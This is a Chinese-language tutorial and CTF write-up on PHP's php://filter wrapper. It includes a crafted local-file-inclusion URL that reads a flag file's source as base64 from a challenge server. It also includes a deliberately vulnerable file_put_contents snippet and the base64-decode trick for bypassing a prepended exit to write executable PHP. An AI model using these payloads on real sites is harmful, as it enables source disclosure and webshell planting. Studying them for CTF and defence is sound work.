php://filter协议
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取
- php://filter/read=<读链需要应用的过滤器列表>,同样write是写链 这个参数采用一个或以管道符 |
分隔的多个过滤器名称。
<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");
/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>
名称 | 描述 | 备注 |
---|---|---|
resource=<要过滤的数据流> | 指定了你要筛选过滤的数据流。 | 必选 |
read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符(|)分隔。 | 可选 |
write=<写链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符(|)分隔。 | 可选 |
- XXE的应用
php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。
实例
题目地址:LFI
F12查看代码,发现robots.txt,访问它,提示
User-agent: *
Disallow: /admin/
Disallow: /admin/shell/
Disallow: /admin/shell/flag.php
1.点击“点我获得flag”后出来http://39.105.140.214:20011/?file=hint.html
,怀疑有文件包含漏洞
2.将POST内容转换成base64编码并输出,构造http://39.105.140.214:20011/?file=php://filter/read=convert.base64-encode/resource=./admin/shell/flag.php
3.得到PD9waHAKJGZsYWcgPSAnZmxhZ3tMRklfMXNfZjRufSc7Ci8vIGVjaG8gJGZsYWc7Cj8+用base64解密得flag{LFI_1s_f4n}
扩展
有个比赛,其中有一部分代码大概类似于以下:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?
幸运的是,这里的$_POST[‘filename’]是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
所以,一个正常的base64_decode实际上可以理解为如下两个步骤:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html